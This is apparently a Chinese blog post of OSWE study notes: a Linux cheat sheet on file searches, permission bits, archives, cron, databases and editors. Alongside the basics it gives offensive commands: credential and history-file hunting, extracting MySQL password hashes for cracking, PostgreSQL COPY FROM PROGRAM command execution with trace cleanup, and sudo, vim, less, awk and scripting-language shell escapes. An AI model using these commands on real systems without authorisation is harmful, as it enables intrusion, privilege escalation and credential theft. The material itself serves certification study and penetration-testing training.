当前位置:首页>Linux>OSWE系列:Linux 基础命令与权限速查

OSWE系列:Linux 基础命令与权限速查

  • 2026-10-11 08:32:37
OSWE系列:Linux 基础命令与权限速查

文件检索

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# grep# -r = 递归读取目录# -R = 递归读取目录,并且会跟随符号链接# 递归检索 /home 下文件内容,并输出不包含 test 的行grep -Rv 'test' /home 2>/dev/null# 递归检索 /home 下不包含 test 的文件名grep -RL 'test' /home 2>/dev/null# 查找 /home 下所有名为 .bashrc 的文件,并在每个文件中检索包含 key 的行find /home -name .bashrc -exec grep 'key' {} \; 2>/dev/null# 查找 /home 目录每个文件中 key 的行,并显示文件路径find /home -type f -exec grep -H 'key' {} \; 2>/dev/null# 查找 /home 下常见 shell 历史文件find /home -name '*sh_history' 2>/dev/null# 有时系统用户不在 /home 目录下,需要排查 /etc/passwdcat /etc/passwdgrep -A 1 'key' 1.txt  # 匹配行后多显示 1 行grep -B 1 'key' 1.txt  # 匹配行前多显示 1 行grep -C 1 'key' 1.txt  # 匹配行前后各显示 1 行

Linux 文件/目录权限

1
2
3
4
5
6
7

# 查看文件/目录权限ls -lls -ld# 例如ls -ld /tmp# drwxrwxrwt 1 root root 4096 Apr 23 06:17 /tmp

以 /tmp 目录为例,权限字符串 drwxrwxrwt 可拆分为:

1
2

文件类型 | 所有者权限 | 所属组权限 | 其他用户权限d | rwx | rwx | rwt

  • • d :表示一个目录。第一个字符表示文件类型,常见取值如下:
  • • -:普通文件
  • • d:目录
  • • l:符号链接
  • • c:字符设备
  • • b:块设备
  • • p:管道文件
  • • s:套接字文件
  • • 第 1 组 rwx:表示所有者(user)的权限。
    • • r:读取权限
    • • w:写入权限
    • • x:执行权限
  • • 第 2 组 rwx:表示所属组(group)的权限。含义与所有者权限一致。
  • • 第 3 组 rwt:表示其他用户(others)的权限。
    • • r:可读
    • • w:可写
    • • t:表示设置了粘滞位(sticky bit)。

除了 t 粘滞位,还有 TSs 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 基础执行权限rwx# 第一组 x 位:setuidrws  # 有执行权限,同时设置了 setuidrwS  # 没有执行权限,但设置了 setuid# 第二组 x 位:setgidrws  # 有执行权限,同时设置了 setgidrwS  # 没有执行权限,但设置了 setgid# 第三组 x 位:sticky bitrwt  # 有执行权限,同时设置了 sticky bitrwT  # 没有执行权限,但设置了 sticky bit# user 组的 x 位 -> s/S = setuid# group 组的 x 位 -> s/S = setgid# others 组的 x 位 -> t/T = sticky bit# 用数字表示4 = setuid2 = setgid1 = sticky bit# 例子4755 → setuid + 7552755 → setgid + 7551777 → sticky bit + 777

1
2
3
4

# 例子-rwsr-xr-x  # setuid-rwxr-sr-x  # setgiddrwxrwxrwt  # sticky bit

  • • SUID:普通用户执行这个文件时,进程会临时以文件所有者的身份运行。
  • • SGID:用户执行该文件时,进程会临时以文件所属组的身份运行。
  • • Sticky Bit:即使目录对所有人可写,普通用户也只能删除自己创建的文件,不能随便删除别人的文件。

文件解压缩处理

zip/unzip

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 将 1.txt 压缩为 1.zipzip 1.zip 1.txt# 将多个文件压缩为 test.zipzip test.zip 1.txt 2.txt 3.txt# 递归压缩目录zip -r test.zip testdir/# 解压到当前目录unzip test.zip# 解压到指定目录unzip test.zip -d ./output/# 查看 zip 内容unzip -l test.zip

7z

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 压缩文件7z a test.7z 1.txt# 压缩多个文件7z a test.7z 1.txt 2.txt 3.txt# 压缩目录7z a test.7z testdir/# 解压到当前目录7z x test.7z# 解压到指定目录7z x test.7z -o./output/# 查看压缩包内容7z l test.7z

tar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# tar# 打包目录tar -cvf test.tar testdir/# 解包tar -xvf test.tar# tar.gz/# 打包目录tar -zcvf test.tar.gz testdir/# 解包tar -zxvf test.tar.gz# tar.bz2# 打包目录tar -jcvf test.tar.bz2 testdir/# 解包tar -jxvf test.tar.bz2

bunzip2

1
2
3
4
5
6
7

# 压缩bzip2 file.txtbzip2 -k file.txt  # 保留原文件# 解压bunzip2 file.txt.bz2bzip2 -d file.txt.bz2

gzip

1
2
3
4
5
6
7
8
9
10

# 查看文件不落地zcat file.gz# 压缩gzip file.txtgzip -k file.txt  # 保留原文件# 解压gzip -d file.gzgunzip file.gz

Linux 临时目录

1
2
3

/tmp  # 重启后很多系统会清空/var/tmp  # 一般不会像 /tmp 那样在重启后立即清空/dev/shm  # 基于内存的临时文件系统

Linux 计划任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 系统计划任务/etc/crontab/etc/cron.hourly//etc/cron.daily//etc/cron.weekly//etc/cron.monthly//etc/cron.d/# 当前用户计划任务crontab -l# Debian/Ubuntu/var/spool/cron/crontabs/# CentOS/RHEL/var/spool/cron/

MySQL 密码提取

1
2
3
4
5
6
7
8
9
10

# MySQL 用户表文件通常位于:/var/lib/mysql/mysql/# 老版本 MySQL / MyISAM 可能存在:user.frm  # 表结构文件user.MYD  # 表数据文件user.MYI  # 表索引文件# 可通过 strings 等方式从 user.MYD 中提取历史密码 hash,再尝试使用 John/Hashcat 破解strings /var/lib/mysql/mysql/user.MYD 2>/dev/null

PostgreSQL RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 连接 PostgreSQLpsql -U user -W# 查看数据库\l# 切换数据库\c databases_name# 查看表信息\d# 查询表信息select * from users;# PostgreSQL 9.3+ 支持 COPY FROM PROGRAM# 通常需要 superuser 权限,或具备 pg_execute_server_program 角色权限DROP TABLE IF EXISTS cmd_exec;  # 删除表,防止已经存在CREATE TABLE cmd_exec(cmd_output text);  # 创建表COPY cmd_exec FROM PROGRAM 'id';  # 执行命令SELECT * FROM cmd_exec;  # 查看命令回显DROP TABLE IF EXISTS cmd_exec;  # 清理痕迹

Sqlite 数据库

1
2
3
4
5
6
7
8

# 数据库连接sqlite3 xxx.db# 查看所有表.tables# 查看表内容select * from users;

Sudo 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 配置文件/etc/sudoers# 格式:# 用户/用户组 主机=(可切换的用户:可切换的组) 可执行命令# user 可以在任意主机上,以任意用户身份执行任意命令user ALL=(ALL) ALL# sudo 组中的用户,可以在任意主机上,以任意用户、任意组身份执行任意命令%sudo ALL=(ALL:ALL) ALL# 查看 sudo 权限sudo -l# 通过 -u 指定以 user 用户权限执行 /bin/bashsudo -u user /bin/bash

Vim 基础使用

1
2
3
4
5
6
7
8
9
10

# 打开文件vim filename# vim 界面操作:wq  # 保存退出:wq!  # 强制保存退出:q  # 不保存退出,前提是文件未修改:q!  # 强制不保存退出:r filename  # 读取文件内容到当前缓冲区:!/bin/bash  # 执行外部命令

Less 基础使用

1
2
3
4
5
6
7

# 打开文件less filenameps aux | less# less 界面操作:e filename  # 读文件:!/bin/bash  # 执行 /bin/bash 命令

Awk 基础使用

1
2
3
4
5

# 读文件awk '{print $1}' /etc/passwd# 执行命令awk 'BEGIN {system("/bin/bash")}'

编程语言执行 Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# perlperl -e 'exec "/bin/sh"'# rubyruby -e 'exec "/bin/sh"'# 通过使用 '[COMMAND]' 来执行命令/usr/bin/ruby -e 'require "irb" ; IRB.start(__FILE__)'# pythonpython -c 'import os; os.execl("/bin/sh", "sh")'# nodenode -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'# 代码var exec = require('child_process').exec;exec('[COMMAND]', function (error, stdOut, stdErr) {  console.log(stdOut);});

Thinks

以上内容已同步至 知识库 ,方便随时查阅,详情请访问下方链接:

1

https://f0nesec.github.io/f0nesec-docs/Certifications/OSWE/1/

博客主页检索 OSWE Linux 基础 阅读原文:

1

https://www.f0nesec.top/

Tip

欢迎在评论区留言或私信交流您的看法 😊😊

若您觉得内容有价值,点赞与关注将是对我最大的支持 👏👏

最后祝您生活愉快!🌞✨

最新文章

随机文章